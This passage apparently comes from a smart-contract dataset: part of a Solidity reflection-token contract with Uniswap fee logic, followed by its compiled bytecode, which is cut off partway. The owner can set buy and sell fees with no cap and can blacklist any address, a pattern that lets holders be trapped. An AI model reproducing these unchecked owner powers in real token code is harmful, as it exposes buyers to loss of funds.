if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130d6565b610702565b005b34801561021157600080fd5b5061021a610852565b604051610227919061351f565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613042565b61088f565b60405161026491906134e9565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f9190613504565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba9190613701565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612ff3565b6108e7565b6040516102f791906134e9565b60405180910390f35b34801561030c57600080fd5b506103156109c0565b6040516103229190613701565b60405180910390f35b34801561033757600080fd5b506103406109c6565b60405161034d9190613776565b60405180910390f35b34801561036257600080fd5b5061036b6109cf565b60405161037891906134ce565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f65565b6109f5565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613117565b610ae5565b005b3480156103df57600080fd5b506103e8610b96565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f65565b610c67565b60405161041e9190613701565b60405180910390f35b34801561043357600080fd5b5061043c610cb8565b005b34801561044a57600080fd5b5061046560048036038101906104609190613140565b610e0b565b005b34801561047357600080fd5b5061047c610eaa565b6040516104899190613701565b60405180910390f35b34801561049e57600080fd5b506104a7610eb0565b6040516104b491906134ce565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613117565b610ed9565b005b3480156104f257600080fd5b506104fb610f92565b6040516105089190613701565b60405180910390f35b34801561051d57600080fd5b50610526610f98565b604051610533919061351f565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613140565b610fd5565b005b34801561057157600080fd5b5061058c60048036038101906105879190613169565b611074565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613042565b61112b565b6040516105c291906134e9565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f65565b611149565b6040516105ff91906134e9565b60405180910390f35b34801561061457600080fd5b5061061d611169565b005b34801561062b57600080fd5b506106466004803603810190610641919061307e565b611242565b005b34801561065457600080fd5b5061065d6113a2565b60405161066a9190613701565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fb7565b6113a8565b6040516106a79190613701565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613140565b61142f565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f65565b6114ce565b005b61070a611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613661565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a3b565b91505061079a565b5050565b60606040518060400160405280600881526020017f5348494e524f4249000000000000000000000000000000000000000000000000815250905090565b60006108a361089c611690565b8484611698565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b033b2e3c9fd0803ce8000000905090565b60006108f4848484611863565b6109b584610900611690565b6109b085604051806060016040528060288152602001613f4860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610966611690565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122379092919063ffffffff16565b611698565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109fd611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8190613661565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610aed611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7190613661565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd7611690565b73ffffffffffffffffffffffffffffffffffffffff161480610c4d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c35611690565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5657600080fd5b6000479050610c648161229b565b50565b6000610cb1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612396565b9050919050565b610cc0611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490613661565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e13611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790613661565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee1611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6590613661565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600881526020017f5348494e524f4249000000000000000000000000000000000000000000000000815250905090565b610fdd611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461106a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106190613661565b60405180910390fd5b8060198190555050565b61107c611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611109576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110090613661565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113f611138611690565b8484611863565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111aa611690565b73ffffffffffffffffffffffffffffffffffffffff1614806112205750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611208611690565b73ffffffffffffffffffffffffffffffffffffffff16145b61122957600080fd5b600061123430610c67565b905061123f81612404565b50565b61124a611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ce90613661565b60405180910390fd5b60005b8383905081101561139c578160056000868685818110611323577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113389190612f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139490613a3b565b9150506112da565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611437611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb90613661565b60405180910390fd5b8060188190555050565b6114d6611690565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a90613661565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ca906135c1565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611708576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ff906136e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611778576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176f906135e1565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118569190613701565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca906136a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90613541565b60405180910390fd5b60008111611986576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197d90613681565b60405180910390fd5b61198e610eb0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119fc57506119cc610eb0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3657601660149054906101000a900460ff16611a8b57611a1d610eb0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8190613561565b60405180910390fd5b5b601754811115611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac7906135a1565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b745750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611baa90613601565b60405180910390fd5b6008544311158015611c125750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c6c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d02576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611daf5760185481611d6484610c67565b611d6e9190613837565b10611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da5906136c1565b60405180910390fd5b5b6000611dba30610c67565b9050600060195482101590506017548210611dd55760175491505b808015611def5750601660159054906101000a900460ff16155b8015611e495750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5f575060168054906101000a900460ff165b8015611eb55750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f0b5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3357611f1982612404565b60004790506000811115611f3157611f304761229b565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fdd5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120905750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209e5760009050612225565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121495750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561216157600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561220c5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222457600b54600d81905550600c54600e819055505b5b612231848484846126fe565b50505050565b600083831115829061227f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612276919061351f565b60405180910390fd5b506000838561228e9190613918565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122eb60028461272b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612316573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236760028461272b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612392573d6000803e3d6000fd5b5050565b60006006548211156123dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d490613581565b60405180910390fd5b60006123e7612775565b90506123fc818461272b90919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612462577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156124905781602001602082028036833780820191505090505b50905030816000815181106124ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561257057600080fd5b505afa158015612584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a89190612f8e565b816001815181106125e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061264930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611698565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016126ad95949392919061371c565b600060405180830381600087803b1580156126c757600080fd5b505af11580156126db573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b8061270c5761270b6127a0565b5b6127178484846127e3565b80612725576127246129ae565b5b50505050565b600061276d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c2565b905092915050565b6000806000612782612a25565b91509150612799818361272b90919063ffffffff16565b9250505090565b6000600d541480156127b457506000600e54145b156127be576127e1565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b6000806000806000806127f587612a90565b95509550955095509550955061285386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612af890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061293481612ba0565b61293e8483612c5d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161299b9190613701565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a00919061351f565b60405180910390fd5b5060008385612a18919061388d565b9050809150509392505050565b6000806000600654905060006b033b2e3c9fd0803ce80000009050612a616b033b2e3c9fd0803ce800000060065461272b90919063ffffffff16565b821015612a83576006546b033b2e3c9fd0803ce8000000935093505050612a8c565b81819350935050505b9091565b6000806000806000806000806000612aad8a600d54600e54612c97565b9250925092506000612abd612775565b90506000806000612ad08e878787612d2d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612b3a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612237565b905092915050565b6000808284612b519190613837565b905083811015612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613621565b60405180910390fd5b8091505092915050565b6000612baa612775565b90506000612bc18284612db690919063ffffffff16565b9050612c1581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b4290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612c7282600654612af890919063ffffffff16565b600681905550612c8d81600754612b4290919063ffffffff16565b6007819055505050565b600080600080612cc36064612cb5888a612db690919063ffffffff16565b61272b90919063ffffffff16565b90506000612ced6064612cdf888b612db690919063ffffffff16565b61272b90919063ffffffff16565b90506000612d1682612d08858c612af890919063ffffffff16565b612af890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612d468589612db690919063ffffffff16565b90506000612d5d8689612db690919063ffffffff16565b90506000612d748789612db690919063ffffffff16565b90506000612d9d82612d8f8587612af890919063ffffffff16565b612af890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612dc95760009050612e2b565b60008284612dd791906138be565b9050828482612de6919061388d565b14612e26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1d90613641565b60405180910390fd5b809150505b92915050565b6000612e44612e3f846137b6565b613791565b90508083825260208201905082856020860282011115612e6357600080fd5b60005b85811015612e935781612e798882612e9d565b845260208401935060208301925050600181019050612e66565b5050509392505050565b600081359050612eac81613f02565b92915050565b600081519050612ec181613f02565b92915050565b60008083601f840112612ed957600080fd5b8235905067ffffffffffffffff811115612ef257600080fd5b602083019150836020820283011115612f0a57600080fd5b9250929050565b600082601f830112612f2257600080fd5b8135612f32848260208601612e31565b91505092915050565b600081359050612f4a81613f19565b92915050565b600081359050612f5f81613f30565b92915050565b600060208284031215612f7757600080fd5b6000612f8584828501612e9d565b91505092915050565b600060208284031215612fa057600080fd5b6000612fae84828501612eb2565b91505092915050565b60008060408385031215612fca57600080fd5b6000612fd885828601612e9d565b9250506020612fe985828601612e9d565b9150509250929050565b60008060006060848603121561300857600080fd5b600061301686828701612e9d565b935050602061302786828701612e9d565b925050604061303886828701612f50565b9150509250925092565b6000806040838503121561305557600080fd5b600061306385828601612e9d565b925050602061307485828601612f50565b9150509250929050565b60008060006040848603121561309357600080fd5b600084013567ffffffffffffffff8111156130ad57600080fd5b6130b986828701612ec7565b935093505060206130cc86828701612f3b565b9150509250925092565b6000602082840312156130e857600080fd5b600082013567ffffffffffffffff81111561310257600080fd5b61310e84828501612f11565b91505092915050565b60006020828403121561312957600080fd5b600061313784828501612f3b565b91505092915050565b60006020828403121561315257600080fd5b600061316084828501612f50565b91505092915050565b6000806000806080858703121561317f57600080fd5b600061318d87828801612f50565b945050602061319e87828801612f50565b93505060406131af87828801612f50565b92505060606131c087828801612f50565b91505092959194509250565b60006131d883836131e4565b60208301905092915050565b6131ed8161394c565b82525050565b6131fc8161394c565b82525050565b600061320d826137f2565b6132178185613815565b9350613222836137e2565b8060005b8381101561325357815161323a88826131cc565b975061324583613808565b925050600181019050613226565b5085935050505092915050565b6132698161395e565b82525050565b613278816139a1565b82525050565b613287816139c5565b82525050565b6000613298826137fd565b6132a28185613826565b93506132b28185602086016139d7565b6132bb81613b11565b840191505092915050565b60006132d3602383613826565b91506132de82613b22565b604082019050919050565b60006132f6603f83613826565b915061330182613b71565b604082019050919050565b6000613319602a83613826565b915061332482613bc0565b604082019050919050565b600061333c601c83613826565b915061334782613c0f565b602082019050919050565b600061335f602683613826565b915061336a82613c38565b604082019050919050565b6000613382602283613826565b915061338d82613c87565b604082019050919050565b60006133a5602383613826565b91506133b082613cd6565b604082019050919050565b60006133c8601b83613826565b91506133d382613d25565b602082019050919050565b60006133eb602183613826565b91506133f682613d4e565b604082019050919050565b600061340e602083613826565b915061341982613d9d565b602082019050919050565b6000613431602983613826565b915061343c82613dc6565b604082019050919050565b6000613454602583613826565b915061345f82613e15565b604082019050919050565b6000613477602383613826565b915061348282613e64565b604082019050919050565b600061349a602483613826565b91506134a582613eb3565b604082019050919050565b6134b98161398a565b82525050565b6134c881613994565b82525050565b60006020820190506134e360008301846131f3565b92915050565b60006020820190506134fe6000830184613260565b92915050565b6000602082019050613519600083018461326f565b92915050565b60006020820190508181036000830152613539818461328d565b905092915050565b6000602082019050818103600083015261355a816132c6565b9050919050565b6000602082019050818103600083015261357a816132e9565b9050919050565b6000602082019050818103600083015261359a8161330c565b9050919050565b600060208201905081810360008301526135ba8161332f565b9050919050565b600060208201905081810360008301526